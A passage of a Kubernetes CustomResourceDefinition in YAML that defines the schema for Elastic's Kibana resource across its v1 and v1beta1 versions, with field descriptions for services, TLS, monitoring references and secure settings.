    resourceVersion: "432370"
    uid: b9035dbf-8459-4f41-8ddd-7ff6873b4d99
  spec:
    conversion:
      strategy: None
    group: kibana.k8s.elastic.co
    names:
      categories:
      - elastic
      kind: Kibana
      listKind: KibanaList
      plural: kibanas
      shortNames:
      - kb
      singular: kibana
    scope: Namespaced
    versions:
    - additionalPrinterColumns:
      - jsonPath: .status.health
        name: health
        type: string
      - description: Available nodes
        jsonPath: .status.availableNodes
        name: nodes
        type: integer
      - description: Kibana version
        jsonPath: .status.version
        name: version
        type: string
      - jsonPath: .metadata.creationTimestamp
        name: age
        type: date
      name: v1
      schema:
        openAPIV3Schema:
          description: Kibana represents a Kibana resource in a Kubernetes cluster.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: KibanaSpec holds the specification of a Kibana instance.
              properties:
                config:
                  description: 'Config holds the Kibana configuration. See: https://www.elastic.co/guide/en/kibana/current/settings.html'
                  type: object
                  x-kubernetes-preserve-unknown-fields: true
                count:
                  description: Count of Kibana instances to deploy.
                  format: int32
                  type: integer
                elasticsearchRef:
                  description: ElasticsearchRef is a reference to an Elasticsearch
                    cluster running in the same Kubernetes cluster.
                  properties:
                    name:
                      description: Name of an existing Kubernetes object corresponding
                        to an Elastic resource managed by ECK.
                      type: string
                    namespace:
                      description: Namespace of the Kubernetes object. If empty, defaults
                        to the current namespace.
                      type: string
                    secretName:
                      description: |-
                        SecretName is the name of an existing Kubernetes secret that contains connection information for associating an
                        Elastic resource not managed by the operator. The referenced secret must contain the following:
                        - `url`: the URL to reach the Elastic resource
                        - `username`: the username of the user to be authenticated to the Elastic resource
                        - `password`: the password of the user to be authenticated to the Elastic resource
                        - `ca.crt`: the CA certificate in PEM format (optional)
                        - `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)
                        This field cannot be used in combination with the other fields name, namespace or serviceName.
                      type: string
                    serviceName:
                      description: |-
                        ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced
                        object. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of
                        the referenced resource is used.
                      type: string
                  type: object
                enterpriseSearchRef:
                  description: |-
                    EnterpriseSearchRef is a reference to an EnterpriseSearch running in the same Kubernetes cluster.
                    Kibana provides the default Enterprise Search UI starting version 7.14.
                  properties:
                    name:
                      description: Name of an existing Kubernetes object corresponding
                        to an Elastic resource managed by ECK.
                      type: string
                    namespace:
                      description: Namespace of the Kubernetes object. If empty, defaults
                        to the current namespace.
                      type: string
                    secretName:
                      description: |-
                        SecretName is the name of an existing Kubernetes secret that contains connection information for associating an
                        Elastic resource not managed by the operator. The referenced secret must contain the following:
                        - `url`: the URL to reach the Elastic resource
                        - `username`: the username of the user to be authenticated to the Elastic resource
                        - `password`: the password of the user to be authenticated to the Elastic resource
                        - `ca.crt`: the CA certificate in PEM format (optional)
                        - `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)
                        This field cannot be used in combination with the other fields name, namespace or serviceName.
                      type: string
                    serviceName:
                      description: |-
                        ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced
                        object. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of
                        the referenced resource is used.
                      type: string
                  type: object
                http:
                  description: HTTP holds the HTTP layer configuration for Kibana.
                  properties:
                    service:
                      description: Service defines the template for the associated
                        Kubernetes Service object.
                      properties:
                        metadata:
                          description: |-
                            ObjectMeta is the metadata of the service.
                            The name and namespace provided here are managed by ECK and will be ignored.
                          properties:
                            annotations:
                              additionalProperties:
                                type: string
                              type: object
                            finalizers:
                              items:
                                type: string
                              type: array
                            labels:
                              additionalProperties:
                                type: string
                              type: object
                            name:
                              type: string
                            namespace:
                              type: string
                          type: object
                        spec:
                          description: Spec is the specification of the service.
                          properties:
                            allocateLoadBalancerNodePorts:
                              description: |-
                                allocateLoadBalancerNodePorts defines if NodePorts will be automatically
                                allocated for services with type LoadBalancer.  Default is "true". It
                                may be set to "false" if the cluster load-balancer does not rely on
                                NodePorts.  If the caller requests specific NodePorts (by specifying a
                                value), those requests will be respected, regardless of this field.
                                This field may only be set for services with type LoadBalancer and will
                                be cleared if the type is changed to any other type.
                              type: boolean
                            clusterIP:
                              description: |-
                                clusterIP is the IP address of the service and is usually assigned
                                randomly. If an address is specified manually, is in-range (as per
                                system configuration), and is not in use, it will be allocated to the
                                service; otherwise creation of the service will fail. This field may not
                                be changed through updates unless the type field is also being changed
                                to ExternalName (which requires this field to be blank) or the type
                                field is being changed from ExternalName (in which case this field may
                                optionally be specified, as describe above).  Valid values are "None",
                                empty string (""), or a valid IP address. Setting this to "None" makes a
                                "headless service" (no virtual IP), which is useful when direct endpoint
                                connections are preferred and proxying is not required.  Only applies to
                                types ClusterIP, NodePort, and LoadBalancer. If this field is specified
                                when creating a Service of type ExternalName, creation will fail. This
                                field will be wiped when updating a Service to type ExternalName.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              type: string
                            clusterIPs:
                              description: |-
                                ClusterIPs is a list of IP addresses assigned to this service, and are
                                usually assigned randomly.  If an address is specified manually, is
                                in-range (as per system configuration), and is not in use, it will be
                                allocated to the service; otherwise creation of the service will fail.
                                This field may not be changed through updates unless the type field is
                                also being changed to ExternalName (which requires this field to be
                                empty) or the type field is being changed from ExternalName (in which
                                case this field may optionally be specified, as describe above).  Valid
                                values are "None", empty string (""), or a valid IP address.  Setting
                                this to "None" makes a "headless service" (no virtual IP), which is
                                useful when direct endpoint connections are preferred and proxying is
                                not required.  Only applies to types ClusterIP, NodePort, and
                                LoadBalancer. If this field is specified when creating a Service of type
                                ExternalName, creation will fail. This field will be wiped when updating
                                a Service to type ExternalName.  If this field is not specified, it will
                                be initialized from the clusterIP field.  If this field is specified,
                                clients must ensure that clusterIPs[0] and clusterIP have the same
                                value.


                                This field may hold a maximum of two entries (dual-stack IPs, in either order).
                                These IPs must correspond to the values of the ipFamilies field. Both
                                clusterIPs and ipFamilies are governed by the ipFamilyPolicy field.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            externalIPs:
                              description: |-
                                externalIPs is a list of IP addresses for which nodes in the cluster
                                will also accept traffic for this service.  These IPs are not managed by
                                Kubernetes.  The user is responsible for ensuring that traffic arrives
                                at a node with this IP.  A common example is external load-balancers
                                that are not part of the Kubernetes system.
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            externalName:
                              description: |-
                                externalName is the external reference that discovery mechanisms will
                                return as an alias for this service (e.g. a DNS CNAME record). No
                                proxying will be involved.  Must be a lowercase RFC-1123 hostname
                                (https://tools.ietf.org/html/rfc1123) and requires `type` to be "ExternalName".
                              type: string
                            externalTrafficPolicy:
                              description: |-
                                externalTrafficPolicy describes how nodes distribute service traffic they
                                receive on one of the Service's "externally-facing" addresses (NodePorts,
                                ExternalIPs, and LoadBalancer IPs). If set to "Local", the proxy will configure
                                the service in a way that assumes that external load balancers will take care
                                of balancing the service traffic between nodes, and so each node will deliver
                                traffic only to the node-local endpoints of the service, without masquerading
                                the client source IP. (Traffic mistakenly sent to a node with no endpoints will
                                be dropped.) The default value, "Cluster", uses the standard behavior of
                                routing to all endpoints evenly (possibly modified by topology and other
                                features). Note that traffic sent to an External IP or LoadBalancer IP from
                                within the cluster will always get "Cluster" semantics, but clients sending to
                                a NodePort from within the cluster may need to take traffic policy into account
                                when picking a node.
                              type: string
                            healthCheckNodePort:
                              description: |-
                                healthCheckNodePort specifies the healthcheck nodePort for the service.
                                This only applies when type is set to LoadBalancer and
                                externalTrafficPolicy is set to Local. If a value is specified, is
                                in-range, and is not in use, it will be used.  If not specified, a value
                                will be automatically allocated.  External systems (e.g. load-balancers)
                                can use this port to determine if a given node holds endpoints for this
                                service or not.  If this field is specified when creating a Service
                                which does not need it, creation will fail. This field will be wiped
                                when updating a Service to no longer need it (e.g. changing type).
                                This field cannot be updated once set.
                              format: int32
                              type: integer
                            internalTrafficPolicy:
                              description: |-
                                InternalTrafficPolicy describes how nodes distribute service traffic they
                                receive on the ClusterIP. If set to "Local", the proxy will assume that pods
                                only want to talk to endpoints of the service on the same node as the pod,
                                dropping the traffic if there are no local endpoints. The default value,
                                "Cluster", uses the standard behavior of routing to all endpoints evenly
                                (possibly modified by topology and other features).
                              type: string
                            ipFamilies:
                              description: |-
                                IPFamilies is a list of IP families (e.g. IPv4, IPv6) assigned to this
                                service. This field is usually assigned automatically based on cluster
                                configuration and the ipFamilyPolicy field. If this field is specified
                                manually, the requested family is available in the cluster,
                                and ipFamilyPolicy allows it, it will be used; otherwise creation of
                                the service will fail. This field is conditionally mutable: it allows
                                for adding or removing a secondary IP family, but it does not allow
                                changing the primary IP family of the Service. Valid values are "IPv4"
                                and "IPv6".  This field only applies to Services of types ClusterIP,
                                NodePort, and LoadBalancer, and does apply to "headless" services.
                                This field will be wiped when updating a Service to type ExternalName.


                                This field may hold a maximum of two entries (dual-stack families, in
                                either order).  These families must correspond to the values of the
                                clusterIPs field, if specified. Both clusterIPs and ipFamilies are
                                governed by the ipFamilyPolicy field.
                              items:
                                description: |-
                                  IPFamily represents the IP Family (IPv4 or IPv6). This type is used
                                  to express the family of an IP expressed by a type (e.g. service.spec.ipFamilies).
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            ipFamilyPolicy:
                              description: |-
                                IPFamilyPolicy represents the dual-stack-ness requested or required by
                                this Service. If there is no value provided, then this field will be set
                                to SingleStack. Services can be "SingleStack" (a single IP family),
                                "PreferDualStack" (two IP families on dual-stack configured clusters or
                                a single IP family on single-stack clusters), or "RequireDualStack"
                                (two IP families on dual-stack configured clusters, otherwise fail). The
                                ipFamilies and clusterIPs fields depend on the value of this field. This
                                field will be wiped when updating a service to type ExternalName.
                              type: string
                            loadBalancerClass:
                              description: |-
                                loadBalancerClass is the class of the load balancer implementation this Service belongs to.
                                If specified, the value of this field must be a label-style identifier, with an optional prefix,
                                e.g. "internal-vip" or "example.com/internal-vip". Unprefixed names are reserved for end-users.
                                This field can only be set when the Service type is 'LoadBalancer'. If not set, the default load
                                balancer implementation is used, today this is typically done through the cloud provider integration,
                                but should apply for any default implementation. If set, it is assumed that a load balancer
                                implementation is watching for Services with a matching class. Any default load balancer
                                implementation (e.g. cloud providers) should ignore Services that set this field.
                                This field can only be set when creating or updating a Service to type 'LoadBalancer'.
                                Once set, it can not be changed. This field will be wiped when a service is updated to a non 'LoadBalancer' type.
                              type: string
                            loadBalancerIP:
                              description: |-
                                Only applies to Service Type: LoadBalancer.
                                This feature depends on whether the underlying cloud-provider supports specifying
                                the loadBalancerIP when a load balancer is created.
                                This field will be ignored if the cloud-provider does not support the feature.
                                Deprecated: This field was under-specified and its meaning varies across implementations.
                                Using it is non-portable and it may not support dual-stack.
                                Users are encouraged to use implementation-specific annotations when available.
                              type: string
                            loadBalancerSourceRanges:
                              description: |-
                                If specified and supported by the platform, this will restrict traffic through the cloud-provider
                                load-balancer will be restricted to the specified client IPs. This field will be ignored if the
                                cloud-provider does not support the feature."
                                More info: https://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            ports:
                              description: |-
                                The list of ports that are exposed by this service.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              items:
                                description: ServicePort contains information on service's
                                  port.
                                properties:
                                  appProtocol:
                                    description: |-
                                      The application protocol for this port.
                                      This is used as a hint for implementations to offer richer behavior for protocols that they understand.
                                      This field follows standard Kubernetes label syntax.
                                      Valid values are either:


                                      * Un-prefixed protocol names - reserved for IANA standard service names (as per
                                      RFC-6335 and https://www.iana.org/assignments/service-names).


                                      * Kubernetes-defined prefixed names:
                                        * 'kubernetes.io/h2c' - HTTP/2 prior knowledge over cleartext as described in https://www.rfc-editor.org/rfc/rfc9113.html#name-starting-http-2-with-prior-
                                        * 'kubernetes.io/ws'  - WebSocket over cleartext as described in https://www.rfc-editor.org/rfc/rfc6455
                                        * 'kubernetes.io/wss' - WebSocket over TLS as described in https://www.rfc-editor.org/rfc/rfc6455


                                      * Other protocols should use implementation-defined prefixed names such as
                                      mycompany.com/my-custom-protocol.
                                    type: string
                                  name:
                                    description: |-
                                      The name of this port within the service. This must be a DNS_LABEL.
                                      All ports within a ServiceSpec must have unique names. When considering
                                      the endpoints for a Service, this must match the 'name' field in the
                                      EndpointPort.
                                      Optional if only one ServicePort is defined on this service.
                                    type: string
                                  nodePort:
                                    description: |-
                                      The port on each node on which this service is exposed when type is
                                      NodePort or LoadBalancer.  Usually assigned by the system. If a value is
                                      specified, in-range, and not in use it will be used, otherwise the
                                      operation will fail.  If not specified, a port will be allocated if this
                                      Service requires one.  If this field is specified when creating a
                                      Service which does not need it, creation will fail. This field will be
                                      wiped when updating a Service to no longer need it (e.g. changing type
                                      from NodePort to ClusterIP).
                                      More info: https://kubernetes.io/docs/concepts/services-networking/service/#type-nodeport
                                    format: int32
                                    type: integer
                                  port:
                                    description: The port that will be exposed by
                                      this service.
                                    format: int32
                                    type: integer
                                  protocol:
                                    default: TCP
                                    description: |-
                                      The IP protocol for this port. Supports "TCP", "UDP", and "SCTP".
                                      Default is TCP.
                                    type: string
                                  targetPort:
                                    anyOf:
                                    - type: integer
                                    - type: string
                                    description: |-
                                      Number or name of the port to access on the pods targeted by the service.
                                      Number must be in the range 1 to 65535. Name must be an IANA_SVC_NAME.
                                      If this is a string, it will be looked up as a named port in the
                                      target Pod's container ports. If this is not specified, the value
                                      of the 'port' field is used (an identity map).
                                      This field is ignored for services with clusterIP=None, and should be
                                      omitted or set equal to the 'port' field.
                                      More info: https://kubernetes.io/docs/concepts/services-networking/service/#defining-a-service
                                    x-kubernetes-int-or-string: true
                                required:
                                - port
                                type: object
                              type: array
                              x-kubernetes-list-map-keys:
                              - port
                              - protocol
                              x-kubernetes-list-type: map
                            publishNotReadyAddresses:
                              description: |-
                                publishNotReadyAddresses indicates that any agent which deals with endpoints for this
                                Service should disregard any indications of ready/not-ready.
                                The primary use case for setting this field is for a StatefulSet's Headless Service to
                                propagate SRV DNS records for its Pods for the purpose of peer discovery.
                                The Kubernetes controllers that generate Endpoints and EndpointSlice resources for
                                Services interpret this to mean that all endpoints are considered "ready" even if the
                                Pods themselves are not. Agents which consume only Kubernetes generated endpoints
                                through the Endpoints or EndpointSlice resources can safely assume this behavior.
                              type: boolean
                            selector:
                              additionalProperties:
                                type: string
                              description: |-
                                Route service traffic to pods with label keys and values matching this
                                selector. If empty or not present, the service is assumed to have an
                                external process managing its endpoints, which Kubernetes will not
                                modify. Only applies to types ClusterIP, NodePort, and LoadBalancer.
                                Ignored if type is ExternalName.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/
                              type: object
                              x-kubernetes-map-type: atomic
                            sessionAffinity:
                              description: |-
                                Supports "ClientIP" and "None". Used to maintain session affinity.
                                Enable client IP based session affinity.
                                Must be ClientIP or None.
                                Defaults to None.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              type: string
                            sessionAffinityConfig:
                              description: sessionAffinityConfig contains the configurations
                                of session affinity.
                              properties:
                                clientIP:
                                  description: clientIP contains the configurations
                                    of Client IP based session affinity.
                                  properties:
                                    timeoutSeconds:
                                      description: |-
                                        timeoutSeconds specifies the seconds of ClientIP type session sticky time.
                                        The value must be >0 && <=86400(for 1 day) if ServiceAffinity == "ClientIP".
                                        Default value is 10800(for 3 hours).
                                      format: int32
                                      type: integer
                                  type: object
                              type: object
                            trafficDistribution:
                              description: |-
                                TrafficDistribution offers a way to express preferences for how traffic is
                                distributed to Service endpoints. Implementations can use this field as a
                                hint, but are not required to guarantee strict adherence. If the field is
                                not set, the implementation will apply its default routing strategy. If set
                                to "PreferClose", implementations should prioritize endpoints that are
                                topologically close (e.g., same zone).
                                This is an alpha field and requires enabling ServiceTrafficDistribution feature.
                              type: string
                            type:
                              description: |-
                                type determines how the Service is exposed. Defaults to ClusterIP. Valid
                                options are ExternalName, ClusterIP, NodePort, and LoadBalancer.
                                "ClusterIP" allocates a cluster-internal IP address for load-balancing
                                to endpoints. Endpoints are determined by the selector or if that is not
                                specified, by manual construction of an Endpoints object or
                                EndpointSlice objects. If clusterIP is "None", no virtual IP is
                                allocated and the endpoints are published as a set of endpoints rather
                                than a virtual IP.
                                "NodePort" builds on ClusterIP and allocates a port on every node which
                                routes to the same endpoints as the clusterIP.
                                "LoadBalancer" builds on NodePort and creates an external load-balancer
                                (if supported in the current cloud) which routes to the same endpoints
                                as the clusterIP.
                                "ExternalName" aliases this service to the specified externalName.
                                Several other fields do not apply to ExternalName services.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#publishing-services-service-types
                              type: string
                          type: object
                      type: object
                    tls:
                      description: TLS defines options for configuring TLS for HTTP.
                      properties:
                        certificate:
                          description: |-
                            Certificate is a reference to a Kubernetes secret that contains the certificate and private key for enabling TLS.
                            The referenced secret should contain the following:


                            - `ca.crt`: The certificate authority (optional).
                            - `tls.crt`: The certificate (or a chain).
                            - `tls.key`: The private key to the first certificate in the certificate chain.
                          properties:
                            secretName:
                              description: SecretName is the name of the secret.
                              type: string
                          type: object
                        selfSignedCertificate:
                          description: SelfSignedCertificate allows configuring the
                            self-signed certificate generated by the operator.
                          properties:
                            disabled:
                              description: Disabled indicates that the provisioning
                                of the self-signed certifcate should be disabled.
                              type: boolean
                            subjectAltNames:
                              description: SubjectAlternativeNames is a list of SANs
                                to include in the generated HTTP TLS certificate.
                              items:
                                description: SubjectAlternativeName represents a SAN
                                  entry in a x509 certificate.
                                properties:
                                  dns:
                                    description: DNS is the DNS name of the subject.
                                    type: string
                                  ip:
                                    description: IP is the IP address of the subject.
                                    type: string
                                type: object
                              type: array
                          type: object
                      type: object
                  type: object
                image:
                  description: Image is the Kibana Docker image to deploy.
                  type: string
                monitoring:
                  description: |-
                    Monitoring enables you to collect and ship log and monitoring data of this Kibana.
                    See https://www.elastic.co/guide/en/kibana/current/xpack-monitoring.html.
                    Metricbeat and Filebeat are deployed in the same Pod as sidecars and each one sends data to one or two different
                    Elasticsearch monitoring clusters running in the same Kubernetes cluster.
                  properties:
                    logs:
                      description: Logs holds references to Elasticsearch clusters
                        which receive log data from an associated resource.
                      properties:
                        elasticsearchRefs:
                          description: |-
                            ElasticsearchRefs is a reference to a list of monitoring Elasticsearch clusters running in the same Kubernetes cluster.
                            Due to existing limitations, only a single Elasticsearch cluster is currently supported.
                          items:
                            description: |-
                              ObjectSelector defines a reference to a Kubernetes object which can be an Elastic resource managed by the operator
                              or a Secret describing an external Elastic resource not managed by the operator.
                            properties:
                              name:
                                description: Name of an existing Kubernetes object
                                  corresponding to an Elastic resource managed by
                                  ECK.
                                type: string
                              namespace:
                                description: Namespace of the Kubernetes object. If
                                  empty, defaults to the current namespace.
                                type: string
                              secretName:
                                description: |-
                                  SecretName is the name of an existing Kubernetes secret that contains connection information for associating an
                                  Elastic resource not managed by the operator. The referenced secret must contain the following:
                                  - `url`: the URL to reach the Elastic resource
                                  - `username`: the username of the user to be authenticated to the Elastic resource
                                  - `password`: the password of the user to be authenticated to the Elastic resource
                                  - `ca.crt`: the CA certificate in PEM format (optional)
                                  - `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)
                                  This field cannot be used in combination with the other fields name, namespace or serviceName.
                                type: string
                              serviceName:
                                description: |-
                                  ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced
                                  object. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of
                                  the referenced resource is used.
                                type: string
                            type: object
                          type: array
                      type: object
                    metrics:
                      description: Metrics holds references to Elasticsearch clusters
                        which receive monitoring data from this resource.
                      properties:
                        elasticsearchRefs:
                          description: |-
                            ElasticsearchRefs is a reference to a list of monitoring Elasticsearch clusters running in the same Kubernetes cluster.
                            Due to existing limitations, only a single Elasticsearch cluster is currently supported.
                          items:
                            description: |-
                              ObjectSelector defines a reference to a Kubernetes object which can be an Elastic resource managed by the operator
                              or a Secret describing an external Elastic resource not managed by the operator.
                            properties:
                              name:
                                description: Name of an existing Kubernetes object
                                  corresponding to an Elastic resource managed by
                                  ECK.
                                type: string
                              namespace:
                                description: Namespace of the Kubernetes object. If
                                  empty, defaults to the current namespace.
                                type: string
                              secretName:
                                description: |-
                                  SecretName is the name of an existing Kubernetes secret that contains connection information for associating an
                                  Elastic resource not managed by the operator. The referenced secret must contain the following:
                                  - `url`: the URL to reach the Elastic resource
                                  - `username`: the username of the user to be authenticated to the Elastic resource
                                  - `password`: the password of the user to be authenticated to the Elastic resource
                                  - `ca.crt`: the CA certificate in PEM format (optional)
                                  - `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)
                                  This field cannot be used in combination with the other fields name, namespace or serviceName.
                                type: string
                              serviceName:
                                description: |-
                                  ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced
                                  object. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of
                                  the referenced resource is used.
                                type: string
                            type: object
                          type: array
                      type: object
                  type: object
                podTemplate:
                  description: PodTemplate provides customisation options (labels,
                    annotations, affinity rules, resource requests, and so on) for
                    the Kibana pods
                  type: object
                  x-kubernetes-preserve-unknown-fields: true
                revisionHistoryLimit:
                  description: RevisionHistoryLimit is the number of revisions to
                    retain to allow rollback in the underlying Deployment.
                  format: int32
                  type: integer
                secureSettings:
                  description: SecureSettings is a list of references to Kubernetes
                    secrets containing sensitive configuration options for Kibana.
                  items:
                    description: SecretSource defines a data source based on a Kubernetes
                      Secret.
                    properties:
                      entries:
                        description: |-
                          Entries define how to project each key-value pair in the secret to filesystem paths.
                          If not defined, all keys will be projected to similarly named paths in the filesystem.
                          If defined, only the specified keys will be projected to the corresponding paths.
                        items:
                          description: KeyToPath defines how to map a key in a Secret
                            object to a filesystem path.
                          properties:
                            key:
                              description: Key is the key contained in the secret.
                              type: string
                            path:
                              description: |-
                                Path is the relative file path to map the key to.
                                Path must not be an absolute file path and must not contain any ".." components.
                              type: string
                          required:
                          - key
                          type: object
                        type: array
                      secretName:
                        description: SecretName is the name of the secret.
                        type: string
                    required:
                    - secretName
                    type: object
                  type: array
                serviceAccountName:
                  description: |-
                    ServiceAccountName is used to check access from the current resource to a resource (for ex. Elasticsearch) in a different namespace.
                    Can only be used if ECK is enforcing RBAC on references.
                  type: string
                version:
                  description: Version of Kibana.
                  type: string
              required:
              - version
              type: object
            status:
              description: KibanaStatus defines the observed state of Kibana
              properties:
                associationStatus:
                  description: |-
                    AssociationStatus is the status of any auto-linking to Elasticsearch clusters.
                    This field is deprecated and will be removed in a future release. Use ElasticsearchAssociationStatus instead.
                  type: string
                availableNodes:
                  description: AvailableNodes is the number of available replicas
                    in the deployment.
                  format: int32
                  type: integer
                count:
                  description: Count corresponds to Scale.Status.Replicas, which is
                    the actual number of observed instances of the scaled object.
                  format: int32
                  type: integer
                elasticsearchAssociationStatus:
                  description: ElasticsearchAssociationStatus is the status of any
                    auto-linking to Elasticsearch clusters.
                  type: string
                enterpriseSearchAssociationStatus:
                  description: EnterpriseSearchAssociationStatus is the status of
                    any auto-linking to Enterprise Search.
                  type: string
                health:
                  description: Health of the deployment.
                  type: string
                monitoringAssociationStatus:
                  additionalProperties:
                    description: AssociationStatus is the status of an association
                      resource.
                    type: string
                  description: MonitoringAssociationStatus is the status of any auto-linking
                    to monitoring Elasticsearch clusters.
                  type: object
                observedGeneration:
                  description: |-
                    ObservedGeneration is the most recent generation observed for this Kibana instance.
                    It corresponds to the metadata generation, which is updated on mutation by the API Server.
                    If the generation observed in status diverges from the generation in metadata, the Kibana
                    controller has not yet processed the changes contained in the Kibana specification.
                  format: int64
                  type: integer
                selector:
                  description: Selector is the label selector used to find all pods.
                  type: string
                version:
                  description: |-
                    Version of the stack resource currently running. During version upgrades, multiple versions may run
                    in parallel: this value specifies the lowest version currently running.
                  type: string
              type: object
          type: object
      served: true
      storage: true
      subresources:
        scale:
          labelSelectorPath: .status.selector
          specReplicasPath: .spec.count
          statusReplicasPath: .status.count
        status: {}
    - additionalPrinterColumns:
      - jsonPath: .status.health
        name: health
        type: string
      - description: Available nodes
        jsonPath: .status.availableNodes
        name: nodes
        type: integer
      - description: Kibana version
        jsonPath: .spec.version
        name: version
        type: string
      - jsonPath: .metadata.creationTimestamp
        name: age
        type: date
      name: v1beta1
      schema:
        openAPIV3Schema:
          description: Kibana represents a Kibana resource in a Kubernetes cluster.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: KibanaSpec holds the specification of a Kibana instance.
              properties:
                config:
                  description: 'Config holds the Kibana configuration. See: https://www.elastic.co/guide/en/kibana/current/settings.html'
                  type: object
                  x-kubernetes-preserve-unknown-fields: true
                count:
                  description: Count of Kibana instances to deploy.
                  format: int32
                  type: integer
                elasticsearchRef:
                  description: ElasticsearchRef is a reference to an Elasticsearch
                    cluster running in the same Kubernetes cluster.
                  properties:
                    name:
                      description: Name of the Kubernetes object.
                      type: string
                    namespace:
                      description: Namespace of the Kubernetes object. If empty, defaults
                        to the current namespace.
                      type: string
                  required:
                  - name
                  type: object
                http:
                  description: HTTP holds the HTTP layer configuration for Kibana.
                  properties:
                    service:
                      description: Service defines the template for the associated
                        Kubernetes Service object.
                      properties:
                        metadata:
                          description: |-
                            ObjectMeta is the metadata of the service.
                            The name and namespace provided here are managed by ECK and will be ignored.
                          properties:
                            annotations:
                              additionalProperties:
                                type: string
                              type: object
                            finalizers:
                              items:
                                type: string
                              type: array
                            labels:
                              additionalProperties:
                                type: string
                              type: object
                            name:
                              type: string
                            namespace:
                              type: string
                          type: object
                        spec:
                          description: Spec is the specification of the service.
                          properties:
                            allocateLoadBalancerNodePorts:
                              description: |-
                                allocateLoadBalancerNodePorts defines if NodePorts will be automatically
                                allocated for services with type LoadBalancer.  Default is "true". It
                                may be set to "false" if the cluster load-balancer does not rely on
                                NodePorts.  If the caller requests specific NodePorts (by specifying a
                                value), those requests will be respected, regardless of this field.
                                This field may only be set for services with type LoadBalancer and will
                                be cleared if the type is changed to any other type.
                              type: boolean
                            clusterIP:
                              description: |-
                                clusterIP is the IP address of the service and is usually assigned
                                randomly. If an address is specified manually, is in-range (as per
                                system configuration), and is not in use, it will be allocated to the
                                service; otherwise creation of the service will fail. This field may not
                                be changed through updates unless the type field is also being changed
                                to ExternalName (which requires this field to be blank) or the type
                                field is being changed from ExternalName (in which case this field may
                                optionally be specified, as describe above).  Valid values are "None",
                                empty string (""), or a valid IP address. Setting this to "None" makes a
                                "headless service" (no virtual IP), which is useful when direct endpoint
                                connections are preferred and proxying is not required.  Only applies to
                                types ClusterIP, NodePort, and LoadBalancer. If this field is specified
                                when creating a Service of type ExternalName, creation will fail. This
                                field will be wiped when updating a Service to type ExternalName.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              type: string
                            clusterIPs:
                              description: |-
                                ClusterIPs is a list of IP addresses assigned to this service, and are
                                usually assigned randomly.  If an address is specified manually, is
                                in-range (as per system configuration), and is not in use, it will be
                                allocated to the service; otherwise creation of the service will fail.
                                This field may not be changed through updates unless the type field is
                                also being changed to ExternalName (which requires this field to be
                                empty) or the type field is being changed from ExternalName (in which
                                case this field may optionally be specified, as describe above).  Valid
                                values are "None", empty string (""), or a valid IP address.  Setting
                                this to "None" makes a "headless service" (no virtual IP), which is
                                useful when direct endpoint connections are preferred and proxying is
                                not required.  Only applies to types ClusterIP, NodePort, and
                                LoadBalancer. If this field is specified when creating a Service of type
                                ExternalName, creation will fail. This field will be wiped when updating
                                a Service to type ExternalName.  If this field is not specified, it will
                                be initialized from the clusterIP field.  If this field is specified,
                                clients must ensure that clusterIPs[0] and clusterIP have the same
                                value.


                                This field may hold a maximum of two entries (dual-stack IPs, in either order).
                                These IPs must correspond to the values of the ipFamilies field. Both
                                clusterIPs and ipFamilies are governed by the ipFamilyPolicy field.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            externalIPs:
                              description: |-
                                externalIPs is a list of IP addresses for which nodes in the cluster
                                will also accept traffic for this service.  These IPs are not managed by
                                Kubernetes.  The user is responsible for ensuring that traffic arrives
                                at a node with this IP.  A common example is external load-balancers
                                that are not part of the Kubernetes system.
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            externalName:
                              description: |-
                                externalName is the external reference that discovery mechanisms will
                                return as an alias for this service (e.g. a DNS CNAME record). No
